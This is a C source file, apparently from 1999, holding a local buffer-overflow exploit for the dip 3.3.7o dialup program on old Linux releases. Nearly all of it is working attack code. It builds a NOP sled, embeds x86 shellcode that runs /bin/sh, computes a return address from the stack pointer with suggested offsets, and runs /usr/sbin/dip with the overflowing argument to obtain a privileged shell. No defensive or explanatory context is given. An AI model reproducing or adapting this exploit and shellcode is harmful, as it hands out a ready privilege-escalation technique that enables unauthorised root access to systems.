/*
 * dip-3.3.7o buffer overrun                            Jan/99
 * 
 * Code ripped from zef and r00t @ promisc.net for slack 3.4
 * and slightly recoded for use on RedHat 5.1 (at least german version) by
 * stealth@gizmo.kyrnet.kg
 * 
 * My offset was 5520 <--> 5520 + 10
 *
 * if using dipex.c for brute-guessing it changes to 6000-6010. 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static inline getesp()
{
   	__asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
   	int offset = 0,i = 0, j = 0, n = 0, absolute = 0;
        unsigned long xaddr = 0;
        char *cmd[5] = {0}, buf[4096];
        int bufflen = 128-21+8;	/* this is the size of the overflowed buffer */

   	char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
           	      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

   	if (argc < 2) {
           	xaddr = 0xbfffd774;
                absolute = 1;
        } else
           	offset=atoi(argv[1]);
      
        for (i = 0; i < bufflen - strlen(code) - 4; i++) 
           	buf[i] = 0x90; 
        for (n = 0, j = i; j < bufflen - 4; j++) 
           	buf[j] = code[n++]; 
                
        if (!absolute)
           	xaddr = getesp() - offset;
   	*(long*)(buf+j) = xaddr;
        
        printf("getesp() = %x ->\n", getesp());
        printf("using return adress %x (correct adress = %x)\n", *(int*)(buf+j), xaddr);
  
     	cmd[0] = "/usr/sbin/dip";
        cmd[1] = "-k"; 
        cmd[2] = "-l";
        cmd[3] = buf;
        cmd[4] = NULL;
   	execve(cmd[0],cmd,NULL);
}